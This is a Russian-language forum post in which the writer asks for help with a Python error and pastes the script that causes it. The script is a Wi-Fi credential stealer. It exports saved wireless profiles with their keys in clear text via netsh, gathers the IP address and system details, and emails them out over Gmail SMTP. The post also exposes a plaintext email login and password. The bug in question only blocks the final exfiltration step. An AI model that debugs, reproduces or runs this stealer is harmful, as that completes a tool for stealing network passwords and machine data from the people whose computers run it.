Доброго вечора сижу пишу код и тут такая фигня консоль выдает ошибку
No value for argument 'msg' in method call
прошу помогите
Вот код
import subprocess as sp
from xml.dom import minidom
import requests
from time import sleep
import platform as pf
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import socket
sp.call( 'netsh wlan show profile' )
sp.call( 'netsh wlan export profile floder=C\ key =clear' )
def wifi_parse():
doc = minidom.parse( 'Беспроводная сеть-bw.xml' )
wifi_name = doc.getElementsByTagName( 'name' )
wifi_password = doc.getElementsByTagName( 'keymaterial' )
global data
data = f'Wi-Fi : { wifi_name }\nWi-Fi password : { wifi_password }'
def get_ip():
response = requests.get( 'http://myip.dnsomatic.com' )
ip = response.text
global data_ip
data_ip = f'IP ADRESS : { ip }'
def info_pc():
processor = pf.processor()
name_sys = pf.system()+ ' ' + pf.release()
net_pc = pf.node()
ip_pc = socket.gethostbyname( socket.gethostname )
global data_pc
data_pc = f'''
Процессор : { processor }\n
Система : { name_sys }\n
Сетевое имя ПК : { net_pc }\n
IP ADDRESS ПК : { ip_pc }\n
'''
def all_info():
global data_all_info
data_all_info = f'{ data }\n{ data_ip }\n{ data_pc }'
def send_mail():
msg = MIMEMultipart()
msg[ 'Subject' ] = 'Info of PC'
msg [ 'From' ] = 'v.belyaev357@gmail.com'
body = data_all_info
msg.attach( MIMEText( body, 'plain' ) )
server = smtplib.SMTP_SSL( 'smtp.gmail.com', 465 )
server.login( 'v.belyaev357@gmail.com', 'vova10katya9' )
server.sendmail( 'v.belyaev357@gmail.com', 'sveta.belyaeva357@gmail.com' )
server.quit()
def main():
wifi_parse()
get_ip()
info_pc()
all_info()
send_mail()
main()